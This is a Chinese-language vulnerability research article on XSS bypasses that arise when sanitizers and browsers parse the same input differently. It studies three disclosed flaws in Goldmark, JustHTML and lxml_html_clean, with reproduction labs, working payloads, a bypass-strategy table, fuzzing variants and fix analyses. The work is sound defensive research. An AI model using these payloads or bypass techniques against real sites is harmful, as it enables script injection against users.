本文内容仅供技术学习与交流使用,严禁用于任何非法用途。请遵守《中华人民共和国网络安全法》等相关法律法规,因违规使用产生的一切后果,由使用者自行承担,与作者无关。

一、引言

在常规 Web 安全语境中,XSS 常被归结为单纯的“输入未过滤”或“输出未转义”。但在 Markdown、公式渲染等富内容处理场景下,由于第三方组件与浏览器底层(HTML、URL、JS 解析器)在实体解码、协议提取和规范化处理上存在机制差异,极易引发解析层面的语义错位,导致了XSS防御体系的 Bypass。因此,个人对“内容解析链中的语义错位”这一核心攻击面进行了一定的研究,结合多个开源组件的真实漏洞场景,深度拆解其 Bypass 触发链与底层根因,希望和大佬们一起探讨这种攻击的通用方法论,如有不对,欢迎批评指正。

二、问题本质分析

2.1 浏览器如何分阶段解释 href

在进入 Goldmark、JustHTML这些具体案例之前,需要先建立一个更基础的前提:浏览器对链接的处理并不是一次完成的,而是至少还会经历三个阶段:

  1. HTML 解析阶段:完成实体解码,例如将 j、: 还原为对应的字符;
  2. URL 解析阶段:完成协议识别、空白字符处理、大小写等协议前缀的归一化;
  3. JavaScript 解析阶段:若最终协议被识别为 javascript:,则其后续内容(Payload)还会继续被移交给 JS 引擎,进行后续的解码(如 URL 解码或 Unicode 转义解码)并执行。

也就是说,一个字符串在“组件检查时”看到的样子,和它在“浏览器最终执行时”看到的样子,很可能已经发生了语义变化。对审计来说,这意味着我们不能只核实“组件有没有做检查”,还要继续解决以下四个问题:

  • 它是在哪一层做检查;
  • 检查之前,输入是否已经完成了实体解码、控制字符清洗、大小写归一化;
  • 检查之后,是否还有新的语义转换步骤;
  • 浏览器最终解释的,是否仍然是检查时看到的同一份内容。

如果把这个问题抽象一下,本文后面的案例其实都可以归入同一个模型:
校验发生在中间态,执行发生在最终态,而中间态与最终态之间仍存在语义转换。

2.2 分阶段解析最小化验证实验

为了直观观察浏览器在这三个阶段到底看到了什么,可以做一个最小化本地实验。准备一个本地 HTML 页面,分别放入三个专门针对 javascript: 协议设计的测试链接,它们分别严格对应上述的三个解析阶段:

  1. 实体触发型(对应 HTML 解析阶段):例如 javascript:alert('HTML-Stage'),用于观察 HTML 实体(如 :)是否会在 DOM 构建时被率先还原。
  2. 空白与大小写型(对应 URL 解析阶段):例如 JaVaScRiPt:alert('URL-Stage'),用于观察浏览器在提取 URL 协议时,是否会自动忽略前导空白/换行,并进行大小写归一化。
  3. 编码逃逸型(对应 JS 解析阶段):例如 javascript:alert%28'JS-Stage'%29,用于观察当协议被确认为 JS 后,其后续负载是否会被 JS 引擎继续解码(如将 %28 解码为括号)并执行。

操作步骤

  1. 新建文件 browser-stages.html,写入以下内容:
<!doctype html>
<html>
<head>
  <meta charset="utf-8">
  <title>Browser Stages Lab</title>
</head>
<body>
  <h3>阶段一:HTML 解析(实体还原)</h3>
  <a id="case1" href="javascript&colon;alert('HTML-Stage')">entity case</a>
  <h3>阶段二:URL 解析(空白忽略与协议识别)</h3>
  <a id="case2" href="&#x09;&#x0A;  JaVaScRiPt:alert('URL-Stage')">whitespace and mixed case</a>
  <h3>阶段三:JS 解析(二次解码与执行)</h3>
  <a id="case3" href="javascript:alert%28'JS-Stage'%29">url encoded case</a>
</body>
</html>
  1. 在该目录下执行:
python3 -m http.server 8000
  1. 随后使用浏览器访问 http://127.0.0.1:8000/browser-stages.html。

验证与观察

1. 验证 HTML 解析阶段(观察 case1)
打开开发者工具,切到 Elements 面板,选中 case1 对应的 <a> 节点。会发现,源码中的 javascript&colon;... 到了 DOM 构建阶段,已经被浏览器底层的 HTML 解析器静默还原成了真正的 javascript:...。

2. 验证 URL 解析阶段(观察 case2)
DOM 阶段依然不是终点。在 Console 中执行如下命令

document.querySelector('#case2').href

观察浏览器的最终属性输出,会发现,不仅 JaVaScRiPt 被归一化成了小写的 javascript,连前面的 Tab、换行(&#x0A;)和空格也被自动剥离了,可以看到浏览器在识别协议时,具有极强的容错和归一化能力。

3. 验证 JS 解析阶段(观察 case3)
点击 case3 的链接。如果只停留在 URL 层面,%28 和 %29 只是普通的字符,但在 URL 解析器完成协议剥离并将其交给 JS 引擎后,它们会被进一步解码为 ( 和 ),从而成功弹出带有 JS-Stage 的警告框。

三、校验与转换的时序倒置-Goldmark

本节以 Go 生态主流 Markdown 渲染器 Goldmark为例,展示当“安全检查”发生在前,而“语义归一化”发生在后时,漏洞是如何穿透的。

3.1 漏洞原理深度剖析

影响组件:Goldmark (<= 1.11.0)

漏洞参考:CVE-2026-5160

源码链接:https://github.com/yuin/goldmark/tree/246a6f1d91a3fa1ef76d6d0ec7085ed61e7638f6

阶段 1:静态字节流审查

  1. 在 renderer/html/html.go 中,renderLink 是链接渲染的入口,在将 URL 内容写入 href 属性之前,它会使用 IsDangerousURL函数检查协议是否危险。

  1. 此时,观察 IsDangerousURL 的实现,假设输入 Payload 为 javascript&colon;alert(1),bJs 的定义为 []byte("javascript:"),在 hasPrefix 比对时,第 11 个字节在 Payload 中是 & (ASCII 38),而预期是 : (ASCII 58),则校验器会认为这是一个不匹配伪协议的“普通字符串”,返回 false(不危险)。

阶段 2:语义还原

  1. 一旦 IsDangerousURL 放行,代码立刻进入 util.URLEscape 流程,并传入了 true 参数。

  1. util/util.go 中 URLEscape函数调用 中 ResolveEntityNames,解析 HTML5 字符实体

  1. ResolveEntityNames 检测到 &colon;,调用 LookUpHTML5EntityByName 并在结果中将其还原为 :

  1. 原本通过检查的 javascript&colon; 此时在内存中变成了真正的 javascript:

3.2 漏洞复现

步骤 1:初始化环境

打开终端,下载 v1.10.0版本 :

https://github.com/yuin/goldmark/tree/246a6f1d91a3fa1ef76d6d0ec7085ed61e7638f6

步骤 2:编写 PoC 代码 (main.go)

构建 Web 页面模拟真实环境,新建 main.go 文件并填入:

package main

import (
    "bytes"
    "fmt"
    "net/http"

    "github.com/yuin/goldmark" // Markdown解析库
)

// handler 处理HTTP请求,将Markdown转换为HTML并返回
func handler(w http.ResponseWriter, r *http.Request) {
    // 定义包含潜在XSS漏洞的Markdown内容
    // 注意:链接使用了javascript:伪协议,可能触发跨站脚本攻击
    md := `
# Article

[View Detail](javascript&colon;alert(document.domain))
`

    var buf bytes.Buffer
    // 使用goldmark将Markdown转换为HTML
    goldmark.Convert([]byte(md), &buf)
    
    // 构建完整的HTML页面,将转换后的内容嵌入其中
    html := `
<html>
<body>
` + buf.String() + `
</body>
</html>
`
    // 将生成的HTML响应给客户端
    fmt.Fprint(w, html)
}

func main() {
    // 注册根路径的处理器
    http.HandleFunc("/", handler)
    fmt.Println("Listening :8080")
    // 启动HTTP服务器,监听8080端口
    http.ListenAndServe(":8080", nil)
}

步骤 3:执行

终端运行 go run main.go

步骤 4:验证

访问:

http://127.0.0.1:8080

可以看到Goldmark 在完成检查后,主动将 &colon; 还原成了危险前缀。

3.3 修复分析

针对 CVE-2026-5160 暴露的语义错位问题,Goldmark 官方在后续补丁中( v1.12.0 及更高版本)对渲染逻辑进行了重构。修复的核心思想非常明确:将安全校验后移。

修复前(脆弱逻辑): 在 renderer/html/html.go 中,校验直接作用于未经处理的 n.Destination。

		if r.Unsafe || !IsDangerousURL(n.Destination) {
			_, _ = w.Write(util.EscapeHTML(util.URLEscape(n.Destination, true)))
		}

修复后(安全逻辑): 修复补丁将 URLEscape 的结果赋值给中间变量,并在该变量上运行审计。

url := util.URLEscape(n.URL(source), false)
	label := n.Label(source)
	if n.AutoLinkType == ast.AutoLinkEmail && !bytes.HasPrefix(bytes.ToLower(url), []byte("mailto:")) {
		_, _ = w.WriteString("mailto:")
	}
	if r.Unsafe || !IsDangerousURL(url) {
		_, _ = w.Write(util.EscapeHTML(url))
	}

四、AST序列化与浏览器再解析的语义突变-JustHTML

在讨论完 HTML 校验与实体转换的时序错位后,我们进入解析链的另一个极易被忽视的深水区:序列化阶段(Serialization)。即使过滤器(Sanitizer)在内存中构建了一棵完全符合安全策略的 AST(抽象语法树),如果它在将这棵树转换回 HTML 字符串时,与浏览器底层的解析状态机存在“认知错位”,就会引发严重的突变型跨站脚本攻击(Mutation XSS, mXSS)。

4.1 漏洞原理深度剖析

影响组件:JustHTML (<= 1.11.0)

漏洞参考:GHSA-qvc2-mg72-jjhx

源码链接:https://github.com/EmilStenstrom/justhtml/tree/v1.10.0

阶段1:脱离上下文的明文逃逸

在 HTML 规范中,<script> 和 <style> 等标签被称为 Raw-text 元素(原始文本元素)。这意味着它们内部的内容应该被直接视为代码或样式,浏览器不会对其进行 HTML 实体解码。

  1. 为了遵循这一规范,追踪 JustHTML 漏洞版本中负责序列化的核心源码 src/justhtml/serialize.py,发现JustHTML将内存中的 AST 转换回输出字符串时,采取了一种特殊的策略,它首先会定义Raw-text 元素:

​

  1. 然后会做判断,对于 Raw-text 元素的子文本节点,放弃 HTML 实体编码,选择原样序列化输出(Literal Text Serialization)。

  1. 当开发者允许传入由程序动态构造的 DOM 树或通过自定义策略允许保留 <style> 标签时,如果节点内的 Text 属性被攻击者控制,这段文本就会未经任何转义或边界反闭合校验,直接流入最终的 HTML 字节流中。

阶段2:解析器差异触发攻击利用链

假设攻击者通过某种业务逻辑构造了如下的一个 AST 节点:父节点为 <style>,其唯一的子 Text Node 的值为 </style><script>alert(1)</script>。

此时,解析链的语义错位瞬间爆发:

  1. JustHTML 的内存视角(安全的属性节点)

在 JustHTML 内存中的 AST 树结构是绝对明确的。它认为这是一个合法的 <style> 节点,内部挂载了一段纯粹的字符串。在 AST 对象层面,这段字符串不具备任何“打破标签边界”的能力,过滤器认为它是安全的。

  1. 序列化错位(原样拼接)

JustHTML 按照上述 _serialize_text_for_parent 函数,将该节点原样序列化拼接:

"<style>" + "</style><script>alert(1)</script>" + "</style>"

  1. 浏览器的状态机视角(重组与突变执行)

浏览器接收到这段序列化的输出并开始二次解析。进入 <style> 后,HTML 解析状态机切换为 Raw-text 模式。但在该底层模式下,只要状态机匹配到对应的闭合标签 </style>,浏览器就会立即结束当前的 Raw-text 状态并切回正常的 HTML DOM 解析模式。

于是,原本被 JustHTML 认知为“普通内部文本”的 </style> 变成了真实的截断动作,而随后跟随的 <script>alert(1)</script> 则越出了 Raw-text 上下文,逃逸成了活动的 DOM 节点,XSS 成功被触发

4.2 漏洞复现

步骤 1:初始化环境

安装 Flask 和确切存在缺陷的 JustHTML v1.10.0:

pip install Flask==3.0.0
pip install justhtml==1.10.0

步骤 2:编写真实漏洞场景应用 (app.py)

在项目根目录下创建 app.py。这段代码模拟了一个允许用户自定义主页 CSS 样式的后台逻辑。

from flask import Flask, request, render_template_string
from justhtml.node import Node
# 导入内部序列化逻辑,这是漏洞的根源
from justhtml import serialize as serialize_mod

# 创建Flask应用实例
app = Flask(__name__)

# HTML模板,使用Jinja2模板语法
HTML_TEMPLATE = """
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>JustHTML 漏洞实验室</title>
    {{ custom_style|safe }}
</head>
<body style="font-family: sans-serif; margin: 40px; background: #f4f4f9;">
    <h2>欢迎来到主题自定义中心</h2>
    <div style="background: white; padding: 20px; border-radius: 8px; border: 1px solid #ddd;">
        <p>这是预览区域。如果看到 Alert 弹窗,说明 <b>mXSS 逃逸成功</b>!</p>
    </div>
    <hr>
    <form method="POST">
        <p>请输入你的自定义 CSS(系统将通过 JustHTML 内存对象进行"安全"渲染):</p>
        <textarea name="user_css" rows="6" cols="70" placeholder="body { background: #fff; }"></textarea>
        <br><br>
        <button type="submit" style="padding: 10px 20px; cursor: pointer;">应用并保存</button>
    </form>
</body>
</html>
"""

# 定义根路由,支持GET和POST方法
@app.route('/', methods=['GET', 'POST'])
def index():
    # 初始化渲染后的样式字符串
    rendered_style = ""
    
    # 处理POST请求(用户提交表单)
    if request.method == 'POST':
        # 获取用户输入的CSS代码
        user_input = request.form.get('user_css', '')
        
        # --- 核心复现逻辑:手动构建 AST 节点 ---
        # 1. 初始化 Node 对象,只传入标签名
        # v1.10.0 的 Node.__init__ 只接收 (name, namespace=None, attrs=None)
        style_node = Node(name="style")
        
        # 2. 手动将用户输入追加到子节点列表
        # 在这个版本中,children 是在 __init__ 中初始化的空列表 []
        style_node.children.append(user_input)
        
        # 3. 调用存在漏洞的内部序列化函数
        # 该函数在处理 parent_name == 'style' 时会放弃转义,直接导致 mXSS
        # mXSS(Mutation-based XSS):当浏览器解析器与序列化器行为不一致时产生的XSS漏洞
        try:
            # 尝试调用内部序列化函数
            rendered_style = serialize_mod._node_to_html(style_node)
        except AttributeError:
            # 兼容性处理:如果上面的路径不对,尝试调用 Node 自己的方法
            rendered_style = style_node.to_html()
        
        # 打印调试信息,展示用户输入和序列化输出
        print(f"\n[!] 触发序列化...")
        print(f"[-] 用户输入: {user_input}")
        print(f"[+] 序列化输出: {rendered_style}")

    # 渲染模板并返回响应
    # 注意:custom_style参数包含用户输入的序列化结果,通过safe过滤器避免转义
    return render_template_string(HTML_TEMPLATE, custom_style=rendered_style)

# 主程序入口
if __name__ == '__main__':
    # 运行Flask应用,监听5000端口,启用调试模式
    # 警告:在生产环境中不应使用debug=True
    app.run(port=5000, debug=True)

步骤 3:保存代码并运行

python app.py

步骤 4:访问页面

浏览器打开 http://127.0.0.1:5000。

步骤 5:提交恶意 Payload

在输入框中粘贴以下内容点击提交即可触发弹窗:

body { background: gray; } </style><script>alert('mXSS_Fixed_Again')</script><style>

步骤 6:观察结果

打印出的序列化输出<style>body { background: gray; } </style><script>alert('mXSS_Fixed_Again')</script><style></style>注入成功。

终端:

浏览器:

4.4 修复分析

JustHTML 的修复策略并没有直接修改serialize.py中的序列化逻辑(为了保持 round-trip 的一致性,它依然允许 Raw-text 元素输出原始文本),而是将防御逻辑前置到了过滤(Sanitization)阶段。在 v1.12.0 的 src/justhtml/sanitize.py 中,引入了一套全新的硬化机制,确保在 AST 进入序列化器之前,任何潜伏在 Raw-text 节点内的恶意截断序列都已被处理。

  1. 核心防御逻辑:_neutralize_rawtext_end_tag_sequences

这是修复的核心函数,它负责扫描文本中是否存在能够闭合当前标签的字符序列,寻找形如 </style 或 </script 的序列,如果该序列后面紧跟着 HTML 规范定义的结束边界(如 > 或空白字符),它会将起始的 < 替换为 &lt,由于浏览器在解析 <style> 或 <script> 等 Raw-text 元素内部内容时不会进行 HTML 实体解码,因此序列化后的 &lt;/style> 在浏览器眼中只是普通的文本字符,不具备任何“标签闭合”的语义。

def _neutralize_rawtext_end_tag_sequences(text: str, tag_name: str) -> tuple[str, bool]:
    if not text:
        return text, False

    lower_text = text.lower()
    needle = f"</{tag_name}"
    needle_len = len(needle)
    out: list[str] = []
    start = 0
    changed = False

    while True:
        idx = lower_text.find(needle, start)
        if idx == -1:
            break

        boundary = idx + needle_len
        if boundary == len(text) or text[boundary] in " \t\n\r\f/>":
            out.append(text[start:idx])
            out.append("&lt;")
            start = idx + 1
            changed = True
            continue

        start = idx + 1

    if not changed:
        return text, False

    out.append(text[start:])
    return "".join(out), True

​

  1. 过滤管道的集成:_sanitize_rawtext_element_contents

JustHTML 在过滤过程中增加了一个递归检查步骤,专门处理 script 和 style 节点:

JustHTML 的这次修复体现了对 "解析上下文一致性" 的深刻理解:

  • v1.10.0 的失败在于它在 AST 内存模型中维护了完美的隔离,但在序列化为 HTML 字符串时,丢失了“这是不可执行文本”的语义约束,导致浏览器在反序列化时产生了歧义。
  • v1.12.0 的改进在于它承认了 HTML 序列化本身的局限性,通过主动破坏恶意闭合标签的结构(中性化),消除了 AST 与浏览器状态机之间的认知错位,从而彻底阻断了 mXSS 的攻击路径。

五、过滤器清洗与引擎底层解码的认知错位-lxml_html_clean

当协议或内容被移交给浏览器底层的 JS 或 CSS 引擎后,其后续负载会被继续解码并执行 。这就引出了内容解析链中的第三个深水区:底层词法解释器与后端正则校验之间的认知错位。近期披露的 CVE-2026-28348(lxml_html_clean XSS/CSS 逃逸漏洞)就是一个教科书级别的“中间态去转义”引发浏览器二次解码的XSS绕过漏洞。它向我们展示了:永远不要在后端的正则引擎里,和浏览器底层的词法解释器比拼解码能力。

5.1 漏洞原理深度剖析

源码链接:https://github.com/fedora-python/lxml_html_clean/blob/0.4.3

影响组件:lxml_html_clean (< 0.4.4)

漏洞参考: CVE-2026-28348

阶段1:过滤视角的误判

在存在漏洞的版本中,组件设有一个专门用于审计 style 属性和内容的函数 _has_sneaky_javascript(),开发者的防守初衷是非常好的:为了防止攻击者利用反斜杠分割关键字(例如将 javascript: 混淆为 j\a\v\a\s\c\r\i\p\t:),所以其决定“先发制人”,在进行正则匹配前,直接暴力删除了所有的反斜杠。

但是攻击者利用底层解释器强大的词法特性,构造了包含 Unicode Escape(Unicode 词法转义序列)的 Payload,例如:

<style>@\69mport url("javascript:alert(1)");</style> 
(其中 \69 是字母 i 的十六进制 ASCII 码)。

当这段内容进入 _has_sneaky_javascript 检查逻辑时,发生了致命的语义错位,代码执行

style.replace('\\', '')

字符串在内存中变成了

@69mport url(...)

接着,正则引擎去匹配 @import,显然 @69mport 是无法匹配成功的。过滤器认为这段内容只是一段普通的、安全的乱码样式,从而直接放行输出。

阶段2:浏览器视角的突变

当这串带有 \69 的内容被原封不动地返回给前端时,浏览器在渲染阶段将其交给了 CSS 解析器。在 CSS 解析器的词法分析(Lexical Analysis)阶段,引擎原生支持对 Unicode 转义序列进行解码 。

于是,浏览器瞬间将 \69mport 等价还原成了真正的 @import 指令,成功加载了内置的 JavaScript 伪协议,跨站脚本攻击防线彻底崩溃。

5.2 漏洞复现

步骤1:准备本地环境

安装存在漏洞的真实组件版本

pip install Flask==3.0.2
pip install lxml==5.1.0
pip install lxml_html_clean==0.4.3

步骤2:编写靶场

构建了一个最小化 Flask Web 靶场,新建文件 app.py写入以下代码。

from flask import Flask, request
from lxml.html import document_fromstring, tostring
from lxml_html_clean import Cleaner

app = Flask(__name__)

# 初始化带有漏洞配置的过滤器
cleaner = Cleaner(
    javascript=True,
    style=False,
    inline_style=False,
    page_structure=False
)

@app.route('/', methods=['GET', 'POST'])
def index():
    # 默认的词法逃逸 Payload (触发 SSRF/盲打 请求)
    default_payload = '<html><style>@\\69mport url("http://127.0.0.1:5000/HACKED_BY_CSS_ESCAPE");</style></html>'
    
    raw_payload = request.form.get('payload', default_payload) if request.method == 'POST' else default_payload
    cleaned_html = ""

    if request.method == 'POST':
        try:
            doc = document_fromstring(raw_payload)
            cleaner.clean_html(doc)
            cleaned_html = tostring(doc, encoding='unicode')
        except Exception as e:
            cleaned_html = f"解析错误: {e}"

    # 前端渲染
    html_template = f"""
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8">
        <title>CVE-2026-28348 漏洞验证</title>
    </head>
    <body style="font-family: sans-serif; padding: 20px;">
        <h2>lxml_html_clean (v0.4.3) 词法逃逸</h2>
        
        <form method="POST">
            <textarea name="payload" rows="4" style="width: 100%; box-sizing: border-box; font-family: monospace;">{raw_payload}</textarea><br><br>
            <button type="submit">提交测试</button>
        </form>
        
        <hr style="margin: 20px 0;">

        {cleaned_html}

        <h3>后端实际输出源码:</h3>
        <pre style="background: #f4f4f4; padding: 15px; border: 1px solid #ccc;"><code>{cleaned_html.replace('<', '&lt;').replace('>', '&gt;')}</code></pre>
    </body>
    </html>
    """
    return html_template

if __name__ == '__main__':
    print("靶场已启动!请访问 http://127.0.0.1:5000")
    app.run(debug=True, port=5000)

步骤3:启动靶场​

在终端运行命令启动靶场:

python app.py

步骤4:提交payload

打开浏览器,访问 http://127.0.0.1:5000/,点击提交按钮,提交

<html><style>@\69mport url("http://127.0.0.1:5000/HACKED_BY_CSS_ESCAPE");</style></html>

试图让受害者的浏览器偷偷向我们的服务器发送一个带有标识的请求。页面看起来依然没有变化。

步骤5:查看攻击结果

查看命令行终端,可以看到访问日志执行了语句:

5.3 修复分析

针对 CVE-2026-28348 暴露出的词法逃逸问题,lxml_html_clean 官方在版本 0.4.4 中发布了关键的修复补丁(Commit Hash: 2ef732667ddbc74ea59847bcf24b75809aaeed3b)。通过对比修复前后的代码,我们也可以清晰地看到安全防御思路从“简单文本过滤”向“底层语义对齐”的深刻转变。

修复思路:

  1. 在存在漏洞的旧版本中,开发者试图通过极其简单的字符串替换来对抗攻击者的混淆:
# 修复前的脆弱逻辑 (v0.4.3)
# 开发者主观臆断:只要删掉所有的反斜杠,攻击者就无法利用 \ 来隔开危险关键字
style = style.replace('\\', '')
  1. 在官方的修复补丁 2ef732667ddbc74ea59847bcf24b75809aaeed3b 中,开发团队改用了一套严格模拟浏览器 CSS 词法状态机的解码机制,精准识别形如\69、\000069、\69\r\n 等标准 CSS Unicode 逃逸写法,并将其在内存中真实还原为对应的 ASCII 或 Unicode 字符
style = _decode_css_unicode_escapes(style)

  1. 然后再将字符串转换为小写以应对大小写混淆
style = style.lower()

  1. 只有在完成所有底层词法的“归一化”后,才开始进行黑名单匹配,避免了被绕过的风险。
if 'expression(' in style:
    return True
if '@import' in style:
    return True

修复效果:

通过引入 _decode_css_unicode_escapes 等效的解码逻辑,过滤器强制将自己放在了与“浏览器 CSS 解析引擎”完全一致的视角上。

我们可以重新推演一次修复后的防御链路:

  1. 输入恶意载荷:@\69mport url(...)
  2. 状态对齐:过滤器不再机械地删除反斜杠,而是像浏览器一样,将十六进制转义序列 \69 识别并解码为真正的字母 i。
  3. 内存中的字符串变为:@import url(...)
  4. 触发安全拦截:if '@import' in style: 精准命中,拦截成功。

六、漏洞根因分析总结

6.1 解析链XSS漏洞的本质

回顾前文的 Goldmark、JustHTML 与 lxml_html_clean 三个案例,会发现它们虽然分属不同语言生态、不同组件类型,甚至触发点也完全不同,但其底层漏洞模型却高度一致:校验发生在中间态,执行发生在最终态,而中间态与最终态之间仍存在语义转换。

这正是内容解析链漏洞的本质。

传统 XSS 往往被简单理解为:

用户输入 → 未过滤 → 执行

但在现代富文本系统中,真实的数据生命周期远比这复杂。

一个字符串从进入系统到最终执行,往往需要穿透:

用户输入
   ↓
解析器(Parser)
   ↓
规范化(Normalizer)
   ↓
过滤器(Sanitizer)
   ↓
序列化器(Serializer)
   ↓
浏览器状态机(Browser Parser)
   ↓
最终执行(Execution)

因此,一个Payload在生命周期中,可能会经历多次“语义重构”。如果组件没有与浏览器保持一致的解析视角,就会产生:Semantic Desynchronization(语义失同步)。而这正是解析链XSS的根源。

6.2 三类典型语义错位模型

结合前述案例,我们可以将解析链漏洞统一归纳为以下三种核心模型:

模型类型

错位阶段

典型案例

本质问题

时序倒置型(校验态 ≠ 渲染态)

Check → Normalize/Decode

Goldmark CVE-2026-5160

先于关键解码步骤(如HTML实体解码)进行校验,解码后语义突变。

序列化突变型(内存态 ≠ 字符串态)

AST (内存安全态) → HTML (序列化字符串)

JustHTML mXSS (GHSA-qvc2-mg72-jjhx)

内存抽象语法树(AST)的“安全”语义,在序列化为字符串时丢失上下文约束,被浏览器重新解析后产生突变。

词法解释型(正则引擎态 ≠ 底层解释器态)

Regex/文本处理 → Lexer/解释器

lxml_html_clean CVE-2026-28348

后端的正则匹配或简单字符串处理逻辑,与浏览器底层词法分析器(CSS/JS Lexer)的解码规则不一致。

虽然三者表面不同,但其核心矛盾完全一致:过滤器的“理解” ≠ 浏览器的“理解”。

七、基于解析链错位的XSS Bypass构造方法论

理解了解析链漏洞的本质后,攻击者真正的目标,从来不是“绕过某个正则”,而是:让过滤器看到A,让浏览器执行B。即,主动制造“语义错位”。因此,高级XSS Bypass的核心思路,并不是单纯构造危险字符串,而是:改变字符串在不同阶段中的语义表现。

7.1 四类典型解析链绕过策略

基于错位发生的不同阶段,可总结出以下核心绕过策略:

策略类型

目标

典型Payload

利用的浏览器行为

对应案例模型

1. 编码混淆型

改变字符在过滤阶段的可见性

javascript&colon;alert(1)

HTML解析器自动实体解码

时序倒置型

2. 协议归一化型

利用协议识别的容错性

JaVaScRiPt:alert(1)

URL解析器大小写归一化、忽略控制字符

时序倒置型

3. 上下文逃逸/状态切换型

打破当前解析上下文

</style><script>alert(1)</script>

HTML状态机在Raw-text元素内的状态切换

序列化突变型 (mXSS)

4. 词法解释型

欺骗文本处理,匹配解释器规则

CSS: @\69mport url(...)

CSS词法分析器解码Unicode转义序列

词法解释型

7.2 高级Fuzzing方法论:从字符串变异到语义变异

传统的XSS Fuzzing往往局限于危险字符串的变异。而对于解析链漏洞,有效的测试必须围绕诱导语义变化展开,构建分层测试矩阵:

  • 字符层变异:针对“可见性”。
  • HTML实体编码: &#x6a;, &colon;
  • URL编码: %6A%61%76%61%73%63%72%69%70%74%3A
  • Unicode转义: JS: \u0061, CSS: \69
  • 非常见字符: 零宽字符(U+200B)、全角字符
  • 结构层变异:针对“上下文与状态机”。
  • 标签闭合序列: </style>, </script>
  • 命名空间切换: 引入<svg>, <math>等Foreign Element。
  • 原始文本元素边界测试。
  • 协议/指令层变异:针对“解释器专有语法”。
  • CSS指令变形: @\69mport, expression\28...\29
  • JS协议变形: jAvAsCrIpT:, data:text/html,

7.3 解析链绕过的本质:语义差利用

所有高级的、能够绕过现代过滤器的XSS Bypass,最终都可以归结为 “语义差利用”。攻击者利用的并非某个单一组件的疏忽,而是贯穿于数据生命周期中,不同解析器对同一输入数据存在根本性认知差异。

因此,防御的关键在于弥合这一语义差,迫使所有安全校验都必须在与浏览器执行视角同步的、归一化的数据状态上进行。

八、防御体系构建

在对抗内容解析链漏洞时,单点防御往往显得捉襟见肘,但并非没有方法论,在此分享几点个人关于防御体系构建的浅薄见解:

  1. 先归一化,再判断。 所有的协议白名单判定、危险关键字拦截,必须且只能作用于最接近浏览器最终执行状态的 Canonical Form(规范化字符串)之上,如果业务需要清理数据,务必先完成所有解码与实体还原,然后再执行匹配逻辑。
  2. 警惕“中间态去转义”:永远不要在后端的正则引擎里,和浏览器底层(C++ 构建的 HTML/CSS/JS 解析器)比拼词法解码能力 。不要尝试通过简单的如替换等手段来对抗混淆,而应该引入正规的词法解析器。
  3. 引入后置兜底防线:解析组件(如 Markdown 渲染器)的设计初衷是“排版”而非“安全过滤”。对用户可控的富内容,必须在输出至 DOM 之前,引入诸如 DOMPurify 等成熟的后置 Sanitizer 进行最终的防御兜底。

九、结语

内容解析链中的 XSS 漏洞,本质上是“组件的静态安全规则引擎”与“浏览器底层动态解析状态”之间语义认知的崩塌。当数据流穿透多层解析机制时,任何一个环节微小的语义不对齐,都会在末端被放大为致命的攻击链路,对于漏洞研究者而言,真正的安全边界并不在某段孤立的代码片段里,而存在于整条生命周期链路的语义一致性中。

十、参考链接